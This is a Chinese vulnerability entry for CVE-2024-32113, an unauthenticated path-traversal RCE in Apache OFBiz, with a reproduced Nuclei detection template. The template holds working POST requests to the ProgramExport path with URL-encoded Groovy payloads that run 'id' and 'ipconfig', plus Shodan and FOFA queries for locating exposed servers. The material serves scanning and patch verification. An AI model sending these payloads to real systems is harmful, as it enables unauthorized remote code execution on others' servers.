Apache OFBiz 目录遍历 - 远程代码执行漏洞

漏洞信息

漏洞名称： Apache OFBiz 目录遍历 - 远程代码执行漏洞

漏洞编号：

• CVE： CVE-2024-32113

漏洞类型： 目录遍历

漏洞等级： 高危

漏洞描述： Apache OFBiz是一个开源的企业资源规划（ERP）系统，广泛应用于企业级服务中，提供包括财务、人力资源、供应链管理等多种功能。由于其广泛的应用，该系统的安全性对企业运营至关重要。此次发现的漏洞属于目录遍历类型，技术根源在于系统未能正确限制路径名到受限目录的访问，导致攻击者可以通过构造特殊的请求路径，绕过安全限制，访问或执行系统上的任意文件。具体来说，攻击者可以通过发送特制的POST请求到/webtools/control/forgotPassword/%2e/%2e/ProgramExport路径，利用groovyProgram参数执行任意Groovy代码，从而实现远程代码执行。这种漏洞的利用不需要任何形式的认证，攻击者可以远程利用此漏洞完全控制系统，访问敏感数据，甚至可能导致服务中断。由于漏洞的严重性和易利用性，建议所有使用受影响版本的用户立即升级到18.12.13或更高版本，以修复此漏洞。

产品厂商： Apache

产品名称： Apache OFBiz

影响版本： before 18.12.13

搜索语法： app=”Apache_OFBiz”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/f2026a7406a6298d364cc33d581605a1ea86b0c7/http%2Fcves%2F2024%2FCVE-2024-32113.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-32113

info:
  name: Apache OFBiz Directory Traversal - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
  impact: |
    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  remediation: |
    Users are recommended to upgrade to version 18.12.13, which fixes the issue.
  reference:
    - https://issues.apache.org/jira/browse/OFBIZ-13006
    - https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
    - https://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32113
  classification:
    cve-id: CVE-2024-32113
    cvss-score: 9.8
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    epss-score: 0.93490
    epss-percentile: 0.99819
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Apache_OFBiz"
    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
  tags: cve,cve2024,apache,ofbiz,rce,kev

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%64%27.%65%78%65%63%75%74%65().%74%65%78%74);

      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%70%63%6F%6E%66%69%67%27.%65%78%65%63%75%74%65().%74%65%78%74);

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
        condition: or

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200